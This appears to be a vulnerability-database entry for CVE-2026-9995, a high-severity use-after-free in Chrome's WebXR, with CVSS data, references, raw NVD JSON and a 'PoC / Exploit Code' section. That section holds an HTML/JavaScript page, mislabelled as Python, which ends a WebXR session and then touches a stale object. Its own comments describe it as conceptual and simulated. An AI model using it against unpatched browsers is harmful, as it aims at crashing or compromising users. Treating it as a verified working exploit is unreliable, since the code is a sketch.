CVE-2026-9995

Description

Use after free in WebXR in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9995: Use After Free in WebXR
This is a conceptual demonstration.
-->
<html>
<head>
<script>
async function triggerVulnerability() {
    // Check if WebXR is supported
    if ('xr' in navigator) {
        try {
            // Request a WebXR session to initialize the target component
            const session = await navigator.xr.requestSession('immersive-vr');
            
            // Setup a scenario that manipulates the WebXR object lifecycle
            // The specific trigger depends on the internal implementation of Chrome < 148.0.7778.216
            
            // Step 1: Create a reference to a WebXR object
            let targetObject = session.inputSources;
            
            // Step 2: Force a condition that frees the underlying memory
            // (Simulated logic for demonstration)
            session.end().then(() => {
                // Memory for targetObject might be freed here
            });
            
            // Step 3: Attempt to access the freed object (UAF trigger)
            // In a real exploit, this memory would be corrupted/controlled beforehand
            setTimeout(() => {
                console.log("Attempting to access potentially freed memory...");
                console.log(targetObject.length); // Potential Crash
            }, 100);
            
        } catch (e) {
            console.log("Error triggering WebXR: " + e);
        }
    } else {
        console.log("WebXR not supported on this device.");
    }
}

window.onload = triggerVulnerability;
</script>
</head>
<body>
<h1>CVE-2026-9995 PoC Test</h1>
<p>Open the browser console to see results.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9995
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9995
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9995/
[4] VulDB https://vuldb.com/cve/CVE-2026-9995
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513256572

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9995", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:57.730", "lastModified": "2026-05-29T12:16:30.767", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebXR in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513256572", "source": "[email protected]"}]}}